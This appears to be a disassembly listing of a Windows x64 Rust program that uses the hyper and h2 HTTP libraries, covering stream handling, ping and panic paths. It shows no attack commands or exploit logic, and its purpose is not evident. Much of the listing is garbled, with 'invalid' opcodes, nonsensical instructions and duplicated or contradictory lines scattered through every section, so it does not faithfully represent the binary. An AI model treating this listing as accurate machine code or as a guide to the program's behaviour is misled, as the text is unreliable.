lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
int3
int3
movzx eax, byte [rax]
mov dh, 0
lea rcx, [0x1401753b0]
mov r8, qword [rcx + rax*8]
lea rcx, str.User
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
jmp r9
jmp rcx
sbb dword [rcx - 0x74b3fff2], 4
ror dword [rax - 0x73], 0xd
nop
cdq
invalid
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
jmp rcx
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0xe70d9
mov r8d, 5
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
je 0x14008ba9d
invalid
mov byte [rsp + 0x30], al
and al, 0x30
sbb byte [rax - 0x77], cl
je 0x14008ba9d
sub byte [rax - 0x39cfdbbc], cl
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0xb3a06
and al, 0x30
mov byte [rsp + 0x31], 0
lea rax, [0x14013f490]
mov qword [rsp + 0x20], rax
lea rdx, str.kind
lea rcx, [rsp + 0x28]
and al, 0x28
and al, 0x28
lea r9, [rsp + 0x38]
and al, 0x38
mov r8d, 4
call fcn.140014730
cmp byte [rsp + 0x31], 0
movzx ecx, byte [rsp + 0x30]
je 0x14008bac3
mov al, 1
test cl, cl
je 0x14008bace
invalid
adc dword [rax - 0x7d], ecx
invalid
add rsp, 0x40
pop rsi
ret
test cl, cl
leave
setne al
add rsp, 0x40
pop rsi
ret
mov rax, qword [rsp + 0x28]
and al, 0x28
test byte [rax + 0x34], 4
xor al, 4
jne 0x14008baf0
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144289]
movabs eax, dword [0x2b841000b87]
invalid
movabs eax, dword [0x2b841000b87]
add bl, ch
adc eax, 0x20488b48
add byte [rax], al
jmp 0x14008bb05
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140149c0b]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x40
pop rsi
pop rsi
ret
lea eax, [0x140177bb4]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
lea ecx, [rax + 1]
mov qword [rsp + 0x50], rcx
lea r9, [rax + 4]
add rax, 8
lea rcx, [0x14013f3f0]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
and al, 0x38
and al, 0x38
lea rcx, [0x14013ebe8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
lea rax, [0x14013f3d0]
lea eax, [0x14013f3d0]
lea eax, [0x14013f3d0]
mov qword [rsp + 0x20], rax
lea rax, str.Reset
mov r8d, 5
jmp 0x14008bd2d
or byte [rax - 0x77], cl
and al, 0x68
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14013f468]
mov r8d, 2
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x14013f470]
jmp 0x14008bc59
push 0x204a8b48
mov r9, qword [rdx + 0x28]
lea rax, [0x14013f416]
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x14013f420]
jmp 0x14008bc59
mov dword [rsp + 0x68], eax
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, str.User
mov r8d, 4
mov eax, 4
mov eax, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x14013f448]
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x68]
call fcn.140016790
mov rcx, qword [rsp + 0x50]
movzx edx, byte [rsp + 0x60]
test rcx, rcx
je 0x14008bccf
mov al, 1
test dl, dl
jne 0x14008bcd1
mov rsi, qword [rsp + 0x58]
cmp rcx, 1
jne 0x14008bcb5
cmp byte [rsp + 0x61], 0
je 0x14008bcb5
test byte [rsi + 0x34], 4
jne 0x14008bcb5
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14008bcd1
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14008bcd1
mov eax, edx
test al, al
setne al
add rsp, 0x70
pop rsi
ret
mov rcx, rdx
mov rdx, rax
call fcn.140017150
nop
add rsp, 0x70
pop rsi
ret
add byte [rax], al
cmp dword [rax + rbx], 2
je 0x14008d361
invalid
adc byte [rax], al
invalid
invalid
add rax, rbx
cmp dword [rax + 0x114], r14d
jne 0x14008d361
mov r13d, 3
mov bpl, 1
mov ebx, 1
xor r12d, r12d
mov eax, dword [rsp + 0x30]
test al, al
jne 0x14008c2c8
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008d19f
xor eax, eax
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
xchg byte [rcx], al
cmp al, 2
jne 0x14008c2db
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lea rax, [rsi + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsi + 0x68]
mov qword [rsp + 0x38], rax
lea r15, [rsi + 0x88]
cmp r13, 3
je 0x14008c33a
cmp r13, 4
jne 0x14008c3a8
mov r13, qword [rsp + 0x30]
cmp dword [r13], 2
mov rbp, qword [rsp + 0x38]
je 0x14008d3a8
mov rcx, r13
mov rdx, qword [rsp + 0x3c8]
call fcn.14008d570
test al, al
je 0x14008d116
mov cl, 3
mov al, 1
jmp 0x14008d131
movups xmm0, xmmword [rsp + 0xec]
movups xmmword [rsp + 0x58], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsp + 0x4c], xmm0
mov byte [rsp + 0x40], r12b
mov byte [rsp + 0x41], bpl
mov word [rsp + 0x42], di
mov dword [rsp + 0x44], r14d
mov dword [rsp + 0x48], ebx
test r12b, r12b
je 0x14008c44c
movzx eax, r12b
cmp eax, 1
jne 0x14008c455
mov rax, qword [rsp + 0x48]
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x190], xmm0
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x1a0], rcx
and al, 0xa0
add dword [rax], eax
add byte [rcx + 0x15de901], dh
add byte [rax], al
and al, 0xa0
add dword [rax], eax
add byte [rcx + 0x15de901], dh
add byte [rax], al
movups xmm0, xmmword [rsp + 0x12c]
movups xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x11c]
movups xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0x10c]
movups xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [rsp + 0xfc]
movups xmmword [rsp + 0x1e0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
movups xmmword [rsp + 0x1c4], xmm0
movups xmm0, xmmword [rsp + 0xec]
movups xmmword [rsp + 0x1d0], xmm0
lea rcx, [rsp + 0x220]
mov rdx, r15
call fcn.140026f80
mov qword [rsp + 0x1b0], r13
mov byte [rsp + 0x1b8], r12b
mov byte [rsp + 0x1b9], bpl
mov word [rsp + 0x1ba], di
mov dword [rsp + 0x1bc], r14d
mov dword [rsp + 0x1c0], ebx
jmp 0x14008c556
mov eax, ebx
xor ecx, ecx
jmp 0x14008c505
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x48], rax
jne 0x14008c4f7
movzx eax, bpl
shl rax, 0x20
or rax, 3
jmp 0x14008c503
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.140108600
lea rdx, [rsp + 0x48]
mov ecx, ebp
call fcn.14001f210
mov cl, 4
mov qword [rsp + 0x1b0], 3
mov byte [rsp + 0x1b8], cl
mov byte [rsp + 0x1b9], bpl
mov dword [rsp + 0x1bc], r14d
mov qword [rsp + 0x1c0], rax
movaps xmm0, xmmword [rsp + 0x190]
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x1c8], xmm0
mov rax, qword [rsp + 0x1a0]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x1d8], rax
mov r13d, 3
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x180], rax
movzx eax, byte [rsp + 0x1b8]
movzx ecx, byte [rsp + 0x1b9]
movzx edx, word [rsp + 0x1ba]
mov r8d, dword [rsp + 0x1bc]
mov r9d, dword [rsp + 0x1c0]
mov r10d, dword [rsp + 0x1c4]
xchg esp, eax
and al, 0xc4
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x1c8], al
xchg esp, eax
and al, 0xc4
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x1c8], al
movaps xmmword [rsp + 0x170], xmm0
mov byte [rsp + 0x160], al
mov byte [rsp + 0x161], cl
mov word [rsp + 0x162], dx
mov dword [rsp + 0x164], r8d
mov dword [rsp + 0x168], r9d
mov dword [rsp + 0x16c], r10d
movups xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x3d0], xmm0
movups xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x3e0], xmm0
movups xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x3f0], xmm0
movups xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x400], xmm0
movups xmm0, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0x410], xmm0
cmp byte [rsi + 0x98], 2
mov rbp, qword [rsp + 0x38]
je 0x14008d30e
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rcx, r15
call fcn.140027180
mov rax, qword [r15]
lock dec qword [rax]
jne 0x14008c667
mov rcx, r15
call fcn.140005c50
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x1b0]
movups xmm1, xmmword [rsp + 0x1c0]
movups xmm2, xmmword [rsp + 0x1d0]
movups xmmword [rbp + 0x20], xmm2
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
mov byte [rsi + 0x98], 2
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsi + 0x99], eax
mov dword [rsi + 0x9c], ecx
cmp r13, 3
std
add ecx, dword [rdi]
invalid
cdq
add byte [rax], al
invalid
std
add ecx, dword [rdi]
test dword [rcx + 0x48000000], ebx
mov rax, qword [rsp + 0x180]
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x100], rax
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0xf0], xmm1
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe0], eax
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xe0], eax
mov r15, qword [rsp + 0x90]
mov rcx, r15
call fcn.1400393e0
test rax, rax
je 0x14008ca8c
mov r14, rax
movzx eax, byte [rsp + 0xe0]
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14008cf5b
test eax, eax
je 0x14008cf5b
cmp eax, 1
jne 0x14008cf01
lea rcx, [rsp + 0x100]
mov rax, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
mov r8, qword [rsp + 0xf8]
call qword [rax + 0x10]
jmp 0x14008cf5b
mov qword [rsp + 0xe0], r13
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xf8], xmm1
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x108], rax
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmm1, xmmword [rsp + 0x3e0]
movaps xmm2, xmmword [rsp + 0x3f0]
movaps xmm3, xmmword [rsp + 0x400]
movups xmmword [rsp + 0x110], xmm0
movups xmmword [rsp + 0x120], xmm1
movups xmmword [rsp + 0x130], xmm2
movups xmmword [rsp + 0x140], xmm3
movaps xmm0, xmmword [rsp + 0x410]
and al, 0x10
add al, 0
add byte [rdi], cl
adc dword [rsp + 0x150], eax
and al, 0x10
add al, 0
add byte [rdi], cl
adc dword [rsp + 0x150], eax
mov rdi, qword [rsp + 0x90]
test rdi, rdi
je 0x14008c876
lea r14, [rdi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x10], cl
jne 0x14008d1b6
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008d1d1
xor ebp, ebp
movzx eax, byte [rdi + 0x11]
test al, al
jne 0x14008d1e8
cmp dword [rdi + 0x50], 0x3b9aca00
je 0x14008c847
call fcn.1400dfa40
mov qword [rdi + 0x48], rax
mov dword [rdi + 0x50], edx
test bpl, bpl
jne 0x14008c85f
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14008d224
xor eax, eax
xchg byte [r14], al
cmp al, 2
mov rbp, qword [rsp + 0x38]
jne 0x14008c876
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lea rcx, [rsp + 0xe0]
call fcn.140038030
mov r15, rax
mov r14, rdx
movups xmm0, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x190], xmm0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x1a0], rax
movzx eax, word [rsp + 0x148]
mov word [rsp + 0x1a8], ax
mov rbx, qword [rsp + 0x190]
cmp eax, 0xc8
jne 0x14008c9bf
test rbx, rbx
je 0x14008c9bf
lea r12, [rsp + 0x98]
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0x70], xmm0
test r15, r15
je 0x14008cb6d
test r14, r14
je 0x14008cb6d
mov rcx, r12
mov edx, 2
call fcn.14008aef0
mov byte [rsp + 0x1b0], 2
mov dword [rsp + 0x1b4], 2
lea rcx, [rsp + 0x1b0]
call fcn.140036090
xchg edi, eax
cli
dec dword [rcx - 0x77]
mov esi, eax
xchg edi, eax
cli
dec dword [rcx - 0x77]
mov esi, eax
mov esi, eax
mov rcx, r12
call fcn.140027180
mov rax, qword [rsp + 0x70]
lock dec qword [rax]
jne 0x14008c953
lea rcx, [rsp + 0x70]
call fcn.140005c50
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x14008c96e
mov rcx, qword [rsp + 0x80]
call fcn.140087250
lea rcx, [rsp + 0xe0]
call fcn.140052130
mov rcx, qword [rsp + 0x140]
and al, 0x40
add dword [rax], eax
add al, ch
pop rax
push 0xffffffff8d4cfff7
mov esp, 0x15024
add byte [rax], al
and al, 0x40
add dword [rax], eax
add al, ch
pop rax
push 0xffffffff8d4cfff7
mov esp, 0x15024
add byte [rax], al
mov rcx, r15
add byte [rax], al
mov rcx, r15
call fcn.14002de70
mov rcx, r15
call fcn.140027180
mov rax, qword [rsp + 0x150]
lock dec qword [rax]
jne 0x14008cf5b
mov rcx, r15
call fcn.140005c50
jmp 0x14008cf5b
movups xmm0, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x3b0], xmm0
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x3a0], xmm0
sub dword [rsp + 0x3a0], eax
sub dword [rsp + 0x3a0], eax
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x390], xmm0
movups xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movups xmm2, xmmword [rsp + 0x100]
movups xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x380], xmm3
movaps xmmword [rsp + 0x370], xmm2
movaps xmmword [rsp + 0x360], xmm1
movaps xmmword [rsp + 0x350], xmm0
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x2c0], xmm0
mov r12, qword [rsp + 0x90]
mov qword [rsp + 0x1b0], r12
lea rcx, [rsp + 0x2c0]
call fcn.14002dc90
test al, al
je 0x14008caf1
test r12, r12
mov r13, qword [rsp + 0x30]
je 0x14008ca82
lock dec qword [r12]
jne 0x14008ca82
lea rcx, [rsp + 0x1b0]
call fcn.140039330
xor r12d, r12d
test r15, r15
jne 0x14008cafb
jmp 0x14008cb01
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x1d0], rax
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
lea rcx, [rsp + 0x1b0]
call fcn.140036090
mov r14, rax
test r15, r15
je 0x14008cf81
lock dec qword [r15]
jne 0x14008cf81
lea rcx, [rsp + 0x90]
call fcn.140039330
jmp 0x14008cf81
mov r13, qword [rsp + 0x30]
test r15, r15
je 0x14008cb01
cmp r14, 0xfffffffffffffffe
jb 0x14008cb19
lea rcx, [rsp + 0x2c0]
call fcn.14002dc90
movzx eax, al
lea r14, [rax*2 - 2]
mov edi, 2
test rbx, rbx
je 0x14008cb66
lea rcx, [rsp + 0x190]
call fcn.140027180
mov rax, qword [rsp + 0x190]
lock dec qword [rax]
jne 0x14008cb4b
lea rcx, [rsp + 0x190]
call fcn.140005c50
mov rax, qword [rsp + 0x1a0]
lock dec qword [rax]
jne 0x14008cb66
mov rcx, qword [rsp + 0x1a0]
call fcn.140087250
xor eax, eax
jmp 0x14008cdb6
movups xmm0, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movups xmm2, xmmword [rsp + 0x100]
movups xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x1e0], xmm3
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rsp + 0x150]
movups xmmword [rsp + 0xc8], xmm0
xorps xmm6, xmm6
movaps xmmword [rsp + 0x220], xmm6
mov qword [rsp + 0x248], 0
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14008d408
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x30], xmm6
lock inc qword [rax]
mov r13, qword [rsp + 0x30]
jle 0x14008d417
mov rdi, qword [rsp + 0x90]
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0xb0], xmm0
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0xc0], rax
movzx eax, byte [0x140182310]
mov edx, 0x50
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14008d419
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 0x20], rcx
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [0x14013db38]
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], 1
xorps xmm0, xmm0
movups xmmword [rax + 0x38], xmm0
mov qword [rax + 0x48], rdi
mov qword [rsp + 0x40], rax
lea rax, [0x14013fe70]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], 1
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x40]
mov rcx, r14
call fcn.1400376c0
lea rcx, [rsp + 0x210]
mov edx, 1
mov r8, r14
call fcn.14008d430
test rax, 0xfffffffffffffffd
jne 0x14008d153
movaps xmm0, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x3b0], xmm0
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x3a0], xmm0
movaps xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x390], xmm0
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmm1, xmmword [rsp + 0x1c0]
movaps xmm2, xmmword [rsp + 0x1d0]
movaps xmm3, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x380], xmm3
movaps xmmword [rsp + 0x370], xmm2
movaps xmmword [rsp + 0x360], xmm1
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x350], xmm0
mov rdi, qword [rsp + 0x220]
mov r12, qword [rsp + 0x228]
mov r14, qword [rsp + 0x230]
movups xmm0, xmmword [rsp + 0x238]
movaps xmmword [rsp + 0x2c0], xmm0
mov rax, qword [rsp + 0x248]
movaps xmm0, xmmword [rsp + 0x350]
movaps xmm1, xmmword [rsp + 0x360]
movaps xmm2, xmmword [rsp + 0x370]
movaps xmm3, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x310], xmm3
movaps xmm0, xmmword [rsp + 0x390]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [rsp + 0x3b0]
movaps xmmword [rsp + 0x340], xmm0
mov rcx, qword [r13]
mov qword [r13], 2
cmp rcx, 2
je 0x14008d3f0
mov qword [rsp + 0xe0], rcx
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0xe8], xmm0
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [rsp + 0x320]
movups xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmm2, xmmword [rsp + 0x300]
movaps xmm3, xmmword [rsp + 0x310]
movups xmmword [rsp + 0x1f0], xmm3
movups xmmword [rsp + 0x1e0], xmm2
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x230], rdi
mov qword [rsp + 0x238], r12
mov qword [rsp + 0x240], r14
movaps xmm0, xmmword [rsp + 0x2c0]
movups xmmword [rsp + 0x248], xmm0
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x1b8], 4
jmp 0x14008d101
mov rax, qword [rsp + 0xe8]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008cf5b
lea r15, [rax - 1]
mov r12, qword [rax - 1]
mov rdi, qword [rax + 7]
mov rcx, r12
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14008cf49
cmp qword [rdi + 0x10], 0x11
jb 0x14008cf37
mov r12, qword [r12 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14008cf7b
lock dec qword [rax]
jne 0x14008cf7b
lea rcx, [rsp + 0x90]
call fcn.140039330
cmp r13, 3
jne 0x14008cfce
mov rdi, qword [rsp + 0x98]
test rdi, rdi
mov r13, qword [rsp + 0x30]
je 0x14008cfd3
lea r15, [rsp + 0x98]
mov rcx, r15
call fcn.140027180
lock dec qword [rdi]
jne 0x14008cfb1
mov rcx, r15
call fcn.140005c50
mov rax, qword [rsp + 0xa8]
lock dec qword [rax]
jne 0x14008cfd3
mov rcx, qword [rsp + 0xa8]
call fcn.140087250
jmp 0x14008cfd3
mov r13, qword [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x350]
movaps xmm1, xmmword [rsp + 0x360]
movaps xmm2, xmmword [rsp + 0x370]
movaps xmm3, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0x2e0], xmm0
movaps xmmword [rsp + 0x2f0], xmm1
movaps xmmword [rsp + 0x300], xmm2
movaps xmmword [rsp + 0x310], xmm3
movaps xmm0, xmmword [rsp + 0x390]
movaps xmmword [rsp + 0x320], xmm0
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmmword [rsp + 0x330], xmm0
movaps xmm0, xmmword [rsp + 0x3b0]
movaps xmmword [rsp + 0x340], xmm0
mov rax, qword [r13]
mov qword [r13], 2
cmp rax, 2
je 0x14008d349
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0x1b0], r14
mov qword [rsp + 0x1b8], 3
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movaps xmm2, xmmword [rsp + 0x300]
movaps xmm3, xmmword [rsp + 0x310]
movups xmmword [rsp + 0x1c0], xmm0
movups xmmword [rsp + 0x1d0], xmm1
movups xmmword [rsp + 0x1e0], xmm2
movups xmmword [rsp + 0x1f0], xmm3
movaps xmm0, xmmword [rsp + 0x320]
movups xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [rsp + 0x2c0]
movups xmmword [rsp + 0x248], xmm0
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1b0]
call fcn.140067130
mov rcx, rbp
call fcn.14008bd70
cmp dword [r13], 2
je 0x14008d12d
mov rcx, r13
call fcn.140065ad0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa0], cl
movaps xmm6, xmmword [rsp + 0x470]
add rsp, 0x488
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rdx, rdx
je 0x14008cd16
mov rax, qword [rdx + 0x30]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x14008d160
and eax, 0xa
cmp eax, 8
jne 0x14008d188
mov rax, qword [rdx + 0x10]
mov rcx, qword [rdx + 0x18]
mov rdi, rdx
call qword [rax + 0x10]
mov rdx, rdi
lock dec qword [rdx]
jne 0x14008cd16
mov rcx, rdx
call fcn.1400375e0
jmp 0x14008cd16
call fcn.140110270
test al, al
jne 0x14008c2c8
mov byte [r15 + 0x11], 1
jmp 0x14008c2c8
mov rcx, r14
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14008c824
call fcn.140110270
mov ebp, eax
xor bpl, 1
movzx eax, byte [rdi + 0x11]
test al, al
je 0x14008c832
mov qword [rsp + 0x1b0], r14
mov byte [rsp + 0x1b8], bpl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012a808]
lea r8, [rsp + 0x1b0]
mov edx, 0x2b
call fcn.140108600
call fcn.140110270
test al, al
jne 0x14008c85f
mov byte [rdi + 0x11], 1
jmp 0x14008c85f
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x36
call fcn.14010cf20
mov byte [rsi + 0x98], 2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x28
call fcn.140108350
mov qword [rcx + 8], r8
lea rcx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.1401086b0
lea rcx, str.polled_after_complete
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientdispatch.rsenvelope_not_dropped
mov edx, 0x15
call fcn.1401086b0
lea rax, [rsp + 0x74]
mov qword [rsp + 0xb0], rax
lea rax, [0x14001b400]
mov qword [rsp + 0xb8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
